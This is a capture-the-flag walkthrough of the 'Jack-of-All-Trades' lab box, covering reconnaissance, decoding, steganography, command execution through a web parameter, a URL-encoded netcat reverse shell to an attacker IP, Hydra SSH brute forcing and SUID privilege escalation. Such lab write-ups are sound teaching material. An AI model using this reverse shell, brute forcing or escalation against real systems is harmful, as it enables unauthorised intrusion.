πŸŽƒJack-of-All-Trades

Boot-to-root originally designed for Securi-Tay 2020

1.Reconnaisance

1.1 Nmap

Using nmap to scan and identify open ports and services

  • We find open ports 22 and 80 with http service and ssh running respectively (weird reversal)

2. Enumeration

  • Going over to the webpage on port 22, we see a blog

  • Inspecting the source code, we see a base64 encoded string as well as a mention of a directory /recovery.php in the comments

  • Decoding the base64 string, we find a mention of a certain Johny Graves and his encoding systems as well as a password u?WtKSraq

  • Going over to /recovery.php, find a login portal

  • Viewing the source code, we find another string in the comments

  • Not base64, maybe related to the encoding by Johny Graves mentioned above

  • Googling Johny Graves, we can find a MySpace page related to the name where we find a post related to his favorite crypto method

  • So we can try to decode is as mentioned in this; first base32, then hex and finally ROT13 the result to decode the text. We can use cyberchef to chain this

  • It says Remember that the credentials to the recovery login are hidden on the homepage! I know how forgetful you are, so here's a hint: bit.ly/2TvYQ2S

  • Going over to the link,it takes us to the Wikipedia page of stegosauria, the name gives us a hint of steganography.Also, there is a stegosaurus image in the homage of the blog

  • We can download the image and use steghide to extract it. We can enter the passphrase u?WtKSraq obtained earlier.we get a file creds.txt.

  • Viewing the file, we see that it is the wrong image

  • jackinthebox.jpg also does not give any results

  • But header.jpg extracts a file cms.creds which give a username and password

jackinthebox : TplFxiSHjY

  • We can use these credentials to log in to /recovery.php

  • We can run any command by appending ?cmd=$cmd at the end of the URL

3. Gaining Access

  • We can append a reverse shell on-liner from payloadsallthethings and URL encoding it : rm%20-f%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.11.66.165%204242%20%3E%2Ftmp%2Ff

  • Stablizing the shell

  • We can find a file jacks_password_list in the /home directory. Might be useful for brute forcing. Save it as pass.txt in the local machine

3.1 Hydra

  • We can use hydra to brute force ssh password of jack

  • We go the creds

    jack : ITMJpGGIqg1jn?>@

3.2 SSH

  • SSHing as jack, we find an image user.jpg

  • Viewing the image gives us the user flag

3.3 SUID

  • Finding a suid bit set file to escalate privileges

  • We find that /usr/bin/strings can run as root and can be used to read the root flag located in /root/root.txt

PreviousIgniteNextMr Robot

Last updated